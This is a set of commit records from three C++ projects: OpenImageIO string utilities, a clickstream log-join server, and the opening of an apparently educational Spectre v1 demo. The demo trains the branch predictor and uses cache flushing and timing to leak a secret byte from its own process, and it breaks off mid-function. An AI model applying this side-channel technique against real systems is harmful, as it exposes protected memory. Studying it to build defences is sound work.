Strutil::iequals (const char *a, const char *b)
{
    return boost::algorithm::iequals (a, b, loc);
}

bool
Strutil::istarts_with (const std::string &a, const std::string &b)
{
    return boost::algorithm::istarts_with (a, b, loc);
}

bool
Strutil::istarts_with (const char *a, const char *b)
{
    return boost::algorithm::istarts_with (a, b, loc);
}

bool
Strutil::iends_with (const std::string &a, const std::string &b)
{
    return boost::algorithm::iends_with (a, b, loc);
}

bool
Strutil::iends_with (const char *a, const char *b)
{
    return boost::algorithm::iends_with (a, b, loc);
}

void
Strutil::to_lower (std::string &a)
{
    boost::algorithm::to_lower (a, loc);
}

void
Strutil::to_upper (std::string &a)
{
    boost::algorithm::to_upper (a, loc);
}

}
OIIO_NAMESPACE_EXIT
<commit_msg>Fix an invalid index error using assertions with MSVC.<commit_after>/*
  Copyright 2008 Larry Gritz and the other authors and contributors.
  All Rights Reserved.

  Redistribution and use in source and binary forms, with or without
  modification, are permitted provided that the following conditions are
  met:
  * Redistributions of source code must retain the above copyright
    notice, this list of conditions and the following disclaimer.
  * Redistributions in binary form must reproduce the above copyright
    notice, this list of conditions and the following disclaimer in the
    documentation and/or other materials provided with the distribution.
  * Neither the name of the software's owners nor the names of its
    contributors may be used to endorse or promote products derived from
    this software without specific prior written permission.
  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
  "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
  A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
  OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
  LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
  DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
  THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

  (This is the Modified BSD License)
*/

#include <string>
#include <cstdarg>
#include <vector>
#include <iostream>
#include <cmath>
#include <sstream>
#include <boost/tokenizer.hpp>
#include <boost/foreach.hpp>
#include <boost/algorithm/string.hpp>

#include "dassert.h"

#include "strutil.h"

OIIO_NAMESPACE_ENTER
{

std::string
Strutil::format (const char *fmt, ...)
{
    va_list ap;
    va_start (ap, fmt);
    std::string buf = vformat (fmt, ap);
    va_end (ap);
    return buf;
}

std::string
Strutil::vformat (const char *fmt, va_list ap)
{
    // Allocate a buffer on the stack that's big enough for us almost
    // all the time.  Be prepared to allocate dynamically if it doesn't fit.
    size_t size = 1024;
    char stackbuf[1024];
    std::vector<char> dynamicbuf;
    char *buf = &stackbuf[0];

    while (1) {
        // Try to vsnprintf into our buffer.
        va_list apsave;
#ifdef va_copy
        va_copy (apsave, ap);
#else
        apsave = ap;
#endif
        int needed = vsnprintf (buf, size, fmt, ap);
        va_end (ap);

        // NB. C99 (which modern Linux and OS X follow) says vsnprintf
        // failure returns the length it would have needed.  But older
        // glibc and current Windows return -1 for failure, i.e., not
        // telling us how much was needed.

        if (needed < (int)size && needed >= 0) {
            // It fit fine so we're done.
            return std::string (buf, (size_t) needed);
        }

        // vsnprintf reported that it wanted to write more characters
        // than we allotted.  So try again using a dynamic buffer.  This
        // doesn't happen very often if we chose our initial size well.
        size = (needed > 0) ? (needed+1) : (size*2);
        dynamicbuf.resize (size);
        buf = &dynamicbuf[0];
#ifdef va_copy
        va_copy (ap, apsave);
#else
        ap = apsave;
#endif
    }
}

std::string
Strutil::memformat (off_t bytes, int digits)
{
    const long long KB = (1<<10);
    const long long MB = (1<<20);
    const long long GB = (1<<30);
    const char *units = "B";
    double d = bytes;
    if (bytes >= GB) {
        units = "GB";
        d = (double)bytes / GB;
    } else if (bytes >= MB) {
        units = "MB";
        d = (double)bytes / MB;
    } else if (bytes >= KB) {
        // Just KB, don't bother with decimalization
        return format ("%lld KB", (long long)bytes/KB);
    } else {
        // Just bytes, don't bother with decimalization
        return format ("%lld B", (long long)bytes);
    }
    return format ("%1.*f %s", digits, d, units);
}

std::string
Strutil::timeintervalformat (double secs, int digits)
{
    const double mins = 60;
    const double hours = mins * 60;
    const double days = hours * 24;

    std::string out;
    int d = (int) floor (secs / days);
    secs = fmod (secs, days);
    int h = (int) floor (secs / hours);
    secs = fmod (secs, hours);
    int m = (int) floor (secs / mins);
    secs = fmod (secs, mins);
    if (d)
        out += format ("%dd ", d);
    if (h || d)
        out += format ("%2dh ", h);
    if (m || h || d)
        out += format ("%dm %1.*fs", m, digits, secs);
    else
        out += format ("%1.*fs", digits, secs);
    return out;
}

bool
Strutil::get_rest_arguments (const std::string &str, std::string &base,
                             std::map<std::string, std::string> &result)
{
    std::string::size_type mark_pos = str.find_first_of ("?");
    if (mark_pos == std::string::npos) {
        base = str;
        return true;
    }

    base = str.substr (0, mark_pos);

    boost::char_separator<char> sep ("&");
    std::string rest = str.substr (mark_pos + 1);
    boost::tokenizer<boost::char_separator<char> > rest_tokens (rest, sep);
    BOOST_FOREACH (std::string keyval, rest_tokens) {
        mark_pos = keyval.find_first_of ("=");
        if (mark_pos == std::string::npos)
            return false;
        result[keyval.substr (0, mark_pos)] = keyval.substr (mark_pos + 1);
    }

    return true;
}

std::string
Strutil::escape_chars (const std::string &unescaped)
{
    std::string s = unescaped;
    for (size_t i = 0;  i < s.length();  ++i) {
        char c = s[i];
        if (c == '\n' || c == '\t' || c == '\v' || c == '\b' ||
            c == '\r' || c == '\f' || c == '\a' || c == '\\' || c == '\"') {
            s[i] = '\\';
            ++i;
            switch (c) {
            case '\n' : c = 'n'; break;
            case '\t' : c = 't'; break;
            case '\v' : c = 'v'; break;
            case '\b' : c = 'b'; break;
            case '\r' : c = 'r'; break;
            case '\f' : c = 'f'; break;
            case '\a' : c = 'a'; break;
            }
            s.insert (i, &c, 1);
        }
    }
    return s;
}

std::string
Strutil::unescape_chars (const std::string &escaped)
{
    std::string s = escaped;
    for (size_t i = 0, len = s.length();  i < len;  ++i) {
        if (s[i] == '\\') {
            char c = s[i+1];
            if (c == 'n' || c == 't' || c == 'v' || c == 'b' ||
                c == 'r' || c == 'f' || c == 'a' || c == '\\' || c == '\"') {
                s.erase (i, 1);
                --len;
                switch (c) {
                case 'n' : s[i] = '\n'; break;
                case 't' : s[i] = '\t'; break;
                case 'v' : s[i] = '\v'; break;
                case 'b' : s[i] = '\b'; break;
                case 'r' : s[i] = '\r'; break;
                case 'f' : s[i] = '\f'; break;
                case 'a' : s[i] = '\a'; break;
                // default case: the deletion is enough (backslash and quote)
                }
            } else if (c >= '0' && c < '8') {
                // up to 3 octal digits
                int octalChar = 0;
                for (int j = 0;  j < 3 && c >= '0' && c <= '7';  ++j) {
                    octalChar = 8*octalChar + (c - '0');
                    s.erase (i, 1);
                    --len;
                    c = i+1 < len ? s[i+1] : '\0';
                }
                s[i] = (char) octalChar;
            }

        }
    }
    return s;
}

std::string
Strutil::wordwrap (std::string src, int columns, int prefix)
{
    std::ostringstream out;
    if (columns < prefix+20)
        return src;   // give up, no way to make it wrap
    columns -= prefix;  // now columns is the real width we have to work with
    while ((int)src.length() > columns) {
        // break the string in two
        size_t breakpoint = src.find_last_of (' ', columns);
        if (breakpoint == std::string::npos)
            breakpoint = columns;
        out << src.substr(0, breakpoint) << "\n" << std::string (prefix, ' ');
        src = src.substr (breakpoint);
        while (src[0] == ' ')
            src.erase (0, 1);
    }
    out << src;
    return out.str();
}

namespace {
static std::locale loc = std::locale::classic();
}

bool
Strutil::iequals (const std::string &a, const std::string &b)
{
    return boost::algorithm::iequals (a, b, loc);
}

bool
Strutil::iequals (const char *a, const char *b)
{
    return boost::algorithm::iequals (a, b, loc);
}

bool
Strutil::istarts_with (const std::string &a, const std::string &b)
{
    return boost::algorithm::istarts_with (a, b, loc);
}

bool
Strutil::istarts_with (const char *a, const char *b)
{
    return boost::algorithm::istarts_with (a, b, loc);
}

bool
Strutil::iends_with (const std::string &a, const std::string &b)
{
    return boost::algorithm::iends_with (a, b, loc);
}

bool
Strutil::iends_with (const char *a, const char *b)
{
    return boost::algorithm::iends_with (a, b, loc);
}

void
Strutil::to_lower (std::string &a)
{
    boost::algorithm::to_lower (a, loc);
}

void
Strutil::to_upper (std::string &a)
{
    boost::algorithm::to_upper (a, loc);
}

}
OIIO_NAMESPACE_EXIT
<|endoftext|>


<commit_before>/**
 * Copyright (c) 2015 - The CM Authors <legal@clickmatcher.com>
 *   All Rights Reserved.
 *
 * This file is CONFIDENTIAL -- Distribution or duplication of this material or
 * the information contained herein is strictly forbidden unless prior written
 * permission is obtained.
 */
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include "stx/io/filerepository.h"
#include "stx/io/fileutil.h"
#include "stx/application.h"
#include "stx/logging.h"
#include "stx/random.h"
#include "stx/thread/eventloop.h"
#include "stx/thread/threadpool.h"
#include "stx/wallclock.h"
#include "stx/rpc/ServerGroup.h"
#include "stx/rpc/RPC.h"
#include "stx/rpc/RPCClient.h"
#include "stx/cli/flagparser.h"
#include "stx/json/json.h"
#include "stx/json/jsonrpc.h"
#include "stx/http/httprouter.h"
#include "stx/http/httpserver.h"
#include "stx/stats/statsdagent.h"
#include "stx/http/httpconnectionpool.h"
#include "stx/mdb/MDB.h"
#include "logjoin/LogJoin.h"
#include "logjoin/SessionProcessor.h"
#include "logjoin/stages/SessionJoin.h"
#include "logjoin/stages/BuildSessionAttributes.h"
#include "logjoin/stages/NormalizeQueryStrings.h"
#include "logjoin/stages/DebugPrintStage.h"
#include "logjoin/stages/DeliverWebhookStage.h"
#include "logjoin/stages/TSDBUploadStage.h"
#include "inventory/DocStore.h"
#include "inventory/IndexChangeRequest.h"
#include "inventory/DocIndex.h"
#include <inventory/ItemRef.h>
#include <fnord-fts/Analyzer.h>
#include "common/CustomerDirectory.h"
#include "common.h"

using namespace cm;
using namespace stx;

stx::thread::EventLoop ev;
cm::LogJoin* logjoin_instance;

void quit(int n) {
  logjoin_instance->shutdown();
}

int main(int argc, const char** argv) {
  stx::Application::init();
  stx::Application::logToStderr();
  stx::cli::FlagParser flags;

  flags.defineFlag(
      "conf",
      cli::FlagParser::T_STRING,
      false,
      NULL,
      "./conf",
      "conf directory",
      "<path>");

  flags.defineFlag(
      "datadir",
      cli::FlagParser::T_STRING,
      true,
      NULL,
      NULL,
      "data dir",
      "<path>");

  flags.defineFlag(
      "index",
      cli::FlagParser::T_STRING,
      false,
      NULL,
      NULL,
      "index directory",
      "<path>");

  flags.defineFlag(
      "tsdb_addr",
      stx::cli::FlagParser::T_STRING,
      true,
      NULL,
      NULL,
      "upload target url",
      "<addr>");

  flags.defineFlag(
      "broker_addr",
      stx::cli::FlagParser::T_STRING,
      true,
      NULL,
      NULL,
      "upload target url",
      "<addr>");

  flags.defineFlag(
      "statsd_addr",
      stx::cli::FlagParser::T_STRING,
      false,
      NULL,
      "127.0.0.1:8192",
      "Statsd addr",
      "<addr>");

  flags.defineFlag(
      "batch_size",
      stx::cli::FlagParser::T_INTEGER,
      false,
      NULL,
      "8192",
      "batch_size",
      "<num>");

  flags.defineFlag(
      "buffer_size",
      stx::cli::FlagParser::T_INTEGER,
      false,
      NULL,
      "32000",
      "buffer_size",
      "<num>");

  flags.defineFlag(
      "flush_interval",
      stx::cli::FlagParser::T_INTEGER,
      false,
      NULL,
      "30",
      "flush_interval",
      "<num>");

  flags.defineFlag(
      "db_size",
      stx::cli::FlagParser::T_INTEGER,
      false,
      NULL,
      "128",
      "max sessiondb size",
      "<MB>");

   flags.defineFlag(
      "no_dryrun",
      stx::cli::FlagParser::T_SWITCH,
      false,
      NULL,
      NULL,
      "no dryrun",
      "<bool>");

  flags.defineFlag(
      "shard",
      stx::cli::FlagParser::T_STRING,
      false,
      NULL,
      NULL,
      "shard",
      "<name>");

  flags.defineFlag(
      "loglevel",
      stx::cli::FlagParser::T_STRING,
      false,
      NULL,
      "INFO",
      "loglevel",
      "<level>");

  flags.parseArgv(argc, argv);

  Logger::get()->setMinimumLogLevel(
      strToLogLevel(flags.getString("loglevel")));

  auto dry_run = !flags.isSet("no_dryrun");

  /* start event loop */
  auto evloop_thread = std::thread([] {
    ev.run();
  });

  http::HTTPConnectionPool http(&ev);

  /* start stats reporting */
  stx::stats::StatsdAgent statsd_agent(
      stx::InetAddr::resolve(flags.getString("statsd_addr")),
      10 * stx::kMicrosPerSecond);

  statsd_agent.start();

  /* get logjoin shard */
  cm::LogJoinShardMap shard_map;
  auto shard = shard_map.getShard(flags.getString("shard"));

  /* open customer directory */
  CustomerDirectory customer_dir;

  {
    CustomerConfig dwn;
    dwn.set_customer("dawanda");
    auto hook = dwn.mutable_logjoin_config()->add_webhooks();
    hook->set_target_url("http://localhost:8080/mywebhook");

    auto qev = dwn.mutable_logjoin_config()->add_session_events();
    qev->set_evtype("search_query");
    qev->set_schema(msg::MessageSchema::fromProtobuf(cm::JoinedSearchQuery::descriptor())->encode().toString());

    customer_dir.updateCustomerConfig(dwn);
  }

  HashMap<String, URI> input_feeds;
  input_feeds.emplace(
      "tracker_log.feedserver02.nue01.production.fnrd.net",
      URI("http://s02.nue01.production.fnrd.net:7001/rpc"));

  input_feeds.emplace(
      "tracker_log.feedserver03.production.fnrd.net",
      URI("http://nue03.prod.fnrd.net:7001/rpc"));

  /* set up session processing pipeline */
  cm::SessionProcessor session_proc(&customer_dir);

  /* pipeline stage: session join */
  session_proc.addPipelineStage(
      std::bind(&SessionJoin::process, std::placeholders::_1));

  /* pipeline stage: BuildSessionAttributes */
  session_proc.addPipelineStage(
      std::bind(&BuildSessionAttributes::process, std::placeholders::_1));

  /* pipeline stage: NormalizeQueryStrings */
  //stx::fts::Analyzer analyzer(flags.getString("conf"));
  //session_proc.addPipelineStage(
  //    std::bind(
  //        &NormalizeQueryStrings::process,
  //        NormalizeQueryStrings::NormalizeFn(
  //            std::bind(
  //                &stx::fts::Analyzer::normalize,
  //                &analyzer,
  //                std::placeholders::_1,
  //                std::placeholders::_2)),
  //        std::placeholders::_1));

  //session_proc.addPipelineStage(
  //    std::bind(&DebugPrintStage::process, std::placeholders::_1));
  /* pipeline stage: TSDBUpload */
  //session_proc.addPipelineStage(
  //    std::bind(
  //        &TSDBUploadStage::process,
  //        std::placeholders::_1,
  //        flags.getString("tsdb_addr"),
  //        &http));

  /* pipeline stage: DeliverWebHook */
  session_proc.addPipelineStage(
      std::bind(&DeliverWebhookStage::process, std::placeholders::_1));

  /* open session db */
  mdb::MDBOptions mdb_opts;
  mdb_opts.maxsize = 1000000 * flags.getInt("db_size"),
  mdb_opts.data_filename = shard.shard_name + ".db",
  mdb_opts.lock_filename = shard.shard_name + ".db.lck",
  mdb_opts.sync = false;
  auto sessdb = mdb::MDB::open(flags.getString("datadir"), mdb_opts);

  /* setup logjoin */
  cm::LogJoin logjoin(shard, dry_run, sessdb, &session_proc, &ev);
  logjoin.exportStats("/logjoind/global");
  logjoin.exportStats(StringUtil::format("/logjoind/$0", shard.shard_name));

  /* shutdown hook */
  logjoin_instance = &logjoin;
  struct sigaction sa;
  memset(&sa, 0, sizeof(struct sigaction));
  sa.sa_handler = quit;
  sigaction(SIGTERM, &sa, NULL);
  sigaction(SIGQUIT, &sa, NULL);
  sigaction(SIGINT, &sa, NULL);

  /* run logjoin */
  stx::logInfo(
      "logjoind",
      "Starting logjoind\n    dry_run=$0\n    shard=$1, [$2, $3) of [0, $4]",
      dry_run,
      shard.shard_name,
      shard.begin,
      shard.end,
      cm::LogJoinShard::modulo);

  session_proc.start();
  logjoin.processClickstream(
      input_feeds,
      flags.getInt("batch_size"),
      flags.getInt("buffer_size"),
      flags.getInt("flush_interval") * kMicrosPerSecond);

  /* shutdown */
  stx::logInfo("logjoind", "LogJoin exiting...");
  ev.shutdown();
  evloop_thread.join();
  sessdb->sync();
  session_proc.stop();
  exit(0);
}

<commit_msg>default events<commit_after>/**
 * Copyright (c) 2015 - The CM Authors <legal@clickmatcher.com>
 *   All Rights Reserved.
 *
 * This file is CONFIDENTIAL -- Distribution or duplication of this material or
 * the information contained herein is strictly forbidden unless prior written
 * permission is obtained.
 */
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include "stx/io/filerepository.h"
#include "stx/io/fileutil.h"
#include "stx/application.h"
#include "stx/logging.h"
#include "stx/random.h"
#include "stx/thread/eventloop.h"
#include "stx/thread/threadpool.h"
#include "stx/wallclock.h"
#include "stx/rpc/ServerGroup.h"
#include "stx/rpc/RPC.h"
#include "stx/rpc/RPCClient.h"
#include "stx/cli/flagparser.h"
#include "stx/json/json.h"
#include "stx/json/jsonrpc.h"
#include "stx/http/httprouter.h"
#include "stx/http/httpserver.h"
#include "stx/stats/statsdagent.h"
#include "stx/http/httpconnectionpool.h"
#include "stx/mdb/MDB.h"
#include "logjoin/LogJoin.h"
#include "logjoin/SessionProcessor.h"
#include "logjoin/stages/SessionJoin.h"
#include "logjoin/stages/BuildSessionAttributes.h"
#include "logjoin/stages/NormalizeQueryStrings.h"
#include "logjoin/stages/DebugPrintStage.h"
#include "logjoin/stages/DeliverWebhookStage.h"
#include "logjoin/stages/TSDBUploadStage.h"
#include "inventory/DocStore.h"
#include "inventory/IndexChangeRequest.h"
#include "inventory/DocIndex.h"
#include <inventory/ItemRef.h>
#include <fnord-fts/Analyzer.h>
#include "common/CustomerDirectory.h"
#include "common.h"

using namespace cm;
using namespace stx;

stx::thread::EventLoop ev;
cm::LogJoin* logjoin_instance;

void quit(int n) {
  logjoin_instance->shutdown();
}

int main(int argc, const char** argv) {
  stx::Application::init();
  stx::Application::logToStderr();
  stx::cli::FlagParser flags;

  flags.defineFlag(
      "conf",
      cli::FlagParser::T_STRING,
      false,
      NULL,
      "./conf",
      "conf directory",
      "<path>");

  flags.defineFlag(
      "datadir",
      cli::FlagParser::T_STRING,
      true,
      NULL,
      NULL,
      "data dir",
      "<path>");

  flags.defineFlag(
      "index",
      cli::FlagParser::T_STRING,
      false,
      NULL,
      NULL,
      "index directory",
      "<path>");

  flags.defineFlag(
      "tsdb_addr",
      stx::cli::FlagParser::T_STRING,
      true,
      NULL,
      NULL,
      "upload target url",
      "<addr>");

  flags.defineFlag(
      "broker_addr",
      stx::cli::FlagParser::T_STRING,
      true,
      NULL,
      NULL,
      "upload target url",
      "<addr>");

  flags.defineFlag(
      "statsd_addr",
      stx::cli::FlagParser::T_STRING,
      false,
      NULL,
      "127.0.0.1:8192",
      "Statsd addr",
      "<addr>");

  flags.defineFlag(
      "batch_size",
      stx::cli::FlagParser::T_INTEGER,
      false,
      NULL,
      "8192",
      "batch_size",
      "<num>");

  flags.defineFlag(
      "buffer_size",
      stx::cli::FlagParser::T_INTEGER,
      false,
      NULL,
      "32000",
      "buffer_size",
      "<num>");

  flags.defineFlag(
      "flush_interval",
      stx::cli::FlagParser::T_INTEGER,
      false,
      NULL,
      "30",
      "flush_interval",
      "<num>");

  flags.defineFlag(
      "db_size",
      stx::cli::FlagParser::T_INTEGER,
      false,
      NULL,
      "128",
      "max sessiondb size",
      "<MB>");

   flags.defineFlag(
      "no_dryrun",
      stx::cli::FlagParser::T_SWITCH,
      false,
      NULL,
      NULL,
      "no dryrun",
      "<bool>");

  flags.defineFlag(
      "shard",
      stx::cli::FlagParser::T_STRING,
      false,
      NULL,
      NULL,
      "shard",
      "<name>");

  flags.defineFlag(
      "loglevel",
      stx::cli::FlagParser::T_STRING,
      false,
      NULL,
      "INFO",
      "loglevel",
      "<level>");

  flags.parseArgv(argc, argv);

  Logger::get()->setMinimumLogLevel(
      strToLogLevel(flags.getString("loglevel")));

  auto dry_run = !flags.isSet("no_dryrun");

  /* start event loop */
  auto evloop_thread = std::thread([] {
    ev.run();
  });

  http::HTTPConnectionPool http(&ev);

  /* start stats reporting */
  stx::stats::StatsdAgent statsd_agent(
      stx::InetAddr::resolve(flags.getString("statsd_addr")),
      10 * stx::kMicrosPerSecond);

  statsd_agent.start();

  /* get logjoin shard */
  cm::LogJoinShardMap shard_map;
  auto shard = shard_map.getShard(flags.getString("shard"));

  /* open customer directory */
  CustomerDirectory customer_dir;

  {
    CustomerConfig dwn;
    dwn.set_customer("dawanda");
    auto hook = dwn.mutable_logjoin_config()->add_webhooks();
    hook->set_target_url("http://localhost:8080/mywebhook");

    {
      auto ev = dwn.mutable_logjoin_config()->add_session_events();
      ev->set_evtype("search_query");
      ev->set_schema(msg::MessageSchema::fromProtobuf(cm::JoinedSearchQuery::descriptor())->encode().toString());
    }

    {
      auto ev = dwn.mutable_logjoin_config()->add_session_events();
      ev->set_evtype("page_view");
      ev->set_schema(msg::MessageSchema::fromProtobuf(cm::JoinedPageView::descriptor())->encode().toString());
    }

    {
      auto ev = dwn.mutable_logjoin_config()->add_session_events();
      ev->set_evtype("cart_items");
      ev->set_schema(msg::MessageSchema::fromProtobuf(cm::JoinedCartItem::descriptor())->encode().toString());
    }

    customer_dir.updateCustomerConfig(dwn);
  }

  HashMap<String, URI> input_feeds;
  input_feeds.emplace(
      "tracker_log.feedserver02.nue01.production.fnrd.net",
      URI("http://s02.nue01.production.fnrd.net:7001/rpc"));

  input_feeds.emplace(
      "tracker_log.feedserver03.production.fnrd.net",
      URI("http://nue03.prod.fnrd.net:7001/rpc"));

  /* set up session processing pipeline */
  cm::SessionProcessor session_proc(&customer_dir);

  /* pipeline stage: session join */
  session_proc.addPipelineStage(
      std::bind(&SessionJoin::process, std::placeholders::_1));

  /* pipeline stage: BuildSessionAttributes */
  session_proc.addPipelineStage(
      std::bind(&BuildSessionAttributes::process, std::placeholders::_1));

  /* pipeline stage: NormalizeQueryStrings */
  //stx::fts::Analyzer analyzer(flags.getString("conf"));
  //session_proc.addPipelineStage(
  //    std::bind(
  //        &NormalizeQueryStrings::process,
  //        NormalizeQueryStrings::NormalizeFn(
  //            std::bind(
  //                &stx::fts::Analyzer::normalize,
  //                &analyzer,
  //                std::placeholders::_1,
  //                std::placeholders::_2)),
  //        std::placeholders::_1));

  //session_proc.addPipelineStage(
  //    std::bind(&DebugPrintStage::process, std::placeholders::_1));
  /* pipeline stage: TSDBUpload */
  //session_proc.addPipelineStage(
  //    std::bind(
  //        &TSDBUploadStage::process,
  //        std::placeholders::_1,
  //        flags.getString("tsdb_addr"),
  //        &http));

  /* pipeline stage: DeliverWebHook */
  session_proc.addPipelineStage(
      std::bind(&DeliverWebhookStage::process, std::placeholders::_1));

  /* open session db */
  mdb::MDBOptions mdb_opts;
  mdb_opts.maxsize = 1000000 * flags.getInt("db_size"),
  mdb_opts.data_filename = shard.shard_name + ".db",
  mdb_opts.lock_filename = shard.shard_name + ".db.lck",
  mdb_opts.sync = false;
  auto sessdb = mdb::MDB::open(flags.getString("datadir"), mdb_opts);

  /* setup logjoin */
  cm::LogJoin logjoin(shard, dry_run, sessdb, &session_proc, &ev);
  logjoin.exportStats("/logjoind/global");
  logjoin.exportStats(StringUtil::format("/logjoind/$0", shard.shard_name));

  /* shutdown hook */
  logjoin_instance = &logjoin;
  struct sigaction sa;
  memset(&sa, 0, sizeof(struct sigaction));
  sa.sa_handler = quit;
  sigaction(SIGTERM, &sa, NULL);
  sigaction(SIGQUIT, &sa, NULL);
  sigaction(SIGINT, &sa, NULL);

  /* run logjoin */
  stx::logInfo(
      "logjoind",
      "Starting logjoind\n    dry_run=$0\n    shard=$1, [$2, $3) of [0, $4]",
      dry_run,
      shard.shard_name,
      shard.begin,
      shard.end,
      cm::LogJoinShard::modulo);

  session_proc.start();
  logjoin.processClickstream(
      input_feeds,
      flags.getInt("batch_size"),
      flags.getInt("buffer_size"),
      flags.getInt("flush_interval") * kMicrosPerSecond);

  /* shutdown */
  stx::logInfo("logjoind", "LogJoin exiting...");
  ev.shutdown();
  evloop_thread.join();
  sessdb->sync();
  session_proc.stop();
  exit(0);
}

<|endoftext|>


<commit_before>/*
 * Copyright 2019 Google LLC
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *   https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

// TODO(jeanpierreda): Test on ARM.
// TODO(jeanpierreda): Make this work on GCC.
// TODO(jeanpierreda): Use a specific public Clang version, document specific CPUs.

#ifdef _MSC_VER
#include <intrin.h>
#else
#include <x86intrin.h>
#endif

#include <algorithm>
#include <array>
#include <cstring>
#include <iostream>
#include <memory>
#include <numeric>
#include <string>
#include <string_view>
#include <tuple>
#include <vector>

// Objective: given some control over accesses to the *non-secret* string
// "Hello, world!", construct a program that obtains "It's a s3kr3t!!!" without
// ever accessing it in the C++ execution model, using speculative execution and
// side channel attacks
//
// It is far more convenient for the attacker if these are adjacent in memory,
// since then there is no effort needed to discover the offset for the private
// value relative to the public value.
// However, it is not strictly necessary. The secret _could_ be anywhere
// relative to the string, as long as there is some attacker-controlled value
// that could reach it during buffer overflow.
const std::string_view public_data = "Hello, world!";
const std::string_view private_data = "It's a s3kr3t!!!";

// Forces a memory read of the byte at address p. This will result in the byte
// being loaded into cache.
static void force_read(void *p) { (void)*(volatile char *)p; }

// Returns the indices of the biggest and second-biggest values in the range.
template <typename RangeT>
static std::pair<int, int> top_two_indices(const RangeT &range) {
  std::pair<int, int> result = {0, 0};  // first biggest, second biggest
  for (int i = 0; i < range.size(); ++i) {
    if (range[i] > range[result.first]) {
      result.second = result.first;
      result.first = i;
    } else if (range[i] > range[result.second]) {
      result.second = i;
    }
  }
  return result;
}

// Leaks the byte that is physically located at &text[0] + offset, without ever
// loading it. In the abstract machine, and in the code executed by the CPU,
// this function does not load any memory except for what is in the bounds
// of `text`, and local auxiliary data.
//
// Instead, the leak is performed by accessing out-of-bounds during speculative
// execution, bypassing the bounds check by training the branch predictor to
// think that the value will be in-range.
static char leak_byte(std::string_view text, int offset) {
  // Create an array spanning at least 256 different cache lines, with
  // different cache line available for each possible byte.
  // We can use this for a timing attack: if the CPU has loaded a given cache
  // line, and the cache line it loaded was determined by secret data, we can
  // figure out the secret byte by identifying which cache line was loaded.
  // That can be done via a timing analysis.
  //
  // To do this, we create an array of 256 values, each of which do not share
  // the same cache line as any other. To eliminate false positives due
  // to prefetching, we also ensure no two values share the same page,
  // by spacing them at intervals of 4096 bytes.
  //
  // See 2.3.5.4 Data Prefetching in the Intel Optimization Reference Manual:
  //   "Data prefetching is triggered by load operations when [...]
  //    The prefetched data is within the same 4K byte page as the load
  //    instruction that triggered it."
  //
  // ARM also has this constraint on prefetching:
  //   http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0388i/CBBIAAAA.html
  //
  // Spacing of 4096 was used in the original Spectre paper as well:
  //   https://spectreattack.com/spectre.pdf
  //
  struct BigByte {
    // Explicitly initialize the array. It doesn't matter what we write; it's
    // only important that we write *something* to each page. Otherwise,
    // there's an opportunity for the range to be allocated as zero-fill-on-
    // demand (ZFOD), where all virtual pages are a read-only mapping to the
    // *same* physical page of zeros. The cache in modern Intel CPUs is
    // physically-tagged, so all of those virtual addresses would map to the
    // same cache line and we wouldn't be able to observe a timing difference
    // between accessed and unaccessed pages (modulo e.g. TLB lookups).
    std::array<unsigned char, 4096> padding_ = {};
  };
  std::vector<BigByte> oracle_array(257);
  // The first value is adjacent to other elements on the stack, so
  // we only use the other elements, which are guaranteed to be on different
  // cache lines, and even different pages, than any other value.
  BigByte* isolated_oracle = &oracle_array[1];

  const char *data = &text[0];

  // The size needs to be unloaded from cache to force speculative execution
  // to guess the result of comparison. It could be stored on the stack, >=4096
  // bytes away from any other values we use we use (which will be loaded into
  // cache). In this demo, it is more convenient to store it on the heap:
  // it is the _only) heap-allocated value in this program, and easily removed
  // from cache.
  auto size_in_heap = std::make_unique<int>(text.size());

  std::array<int64_t, 256> latencies = {};
  std::array<int, 256> scores = {};
  int best_val = 0, runner_up_val = 0;

  for (int run = 0;; ++run) {
    // Flush out entries from the timing array. Now, if they are loaded during
    // speculative execution, that will warm the cache for that entry, which
    // can be detected later via timing analysis.
    for (int i = 0; i < 256; ++i) _mm_clflush(&isolated_oracle[i]);
    // Clflush is not ordered with respect to reads, so it is necessary to place
    // the mfence instruction here so that the clflushes retire before the
    // force_read calls below.
    // "Performs a serializing operation on all load-from-memory and
    // store-to-memory instructions that were issued prior the MFENCE
    // instruction. This serializing operation guarantees that every load and
    // store instruction that precedes the MFENCE instruction in program order
    // becomes globally visible before any load or store instruction that
    // follows the MFENCE instruction."
    _mm_mfence();

    // We pick a different offset every time so that it's guaranteed that the
    // value of the in-bounds access is usually different from the secret value
    // we want to leak via out-of-bounds speculative access.
    int safe_offset = run % text.size();

    for (int i = 0; i < 10; ++i) {
      // Remove from cache so that we block on loading it from memory,
      // triggering speculative execution.
      _mm_clflush(&*size_in_heap);

      // Train the branch predictor: perform in-bounds accesses 9 times,
      // and then use the out-of-bounds offset we _actually_ care about on the
      // tenth time.
      int local_offset = ((i + 1) % 10) ? safe_offset : offset;

      if (local_offset < *size_in_heap) {
        // This branch was trained to always be taken during speculative
        // execution, so it's taken even on the tenth iteration, when the
        // condition is false!
        force_read(&isolated_oracle[data[local_offset]]);
      }
    }

    // Here's the timing side channel: find which char was loaded by measuring
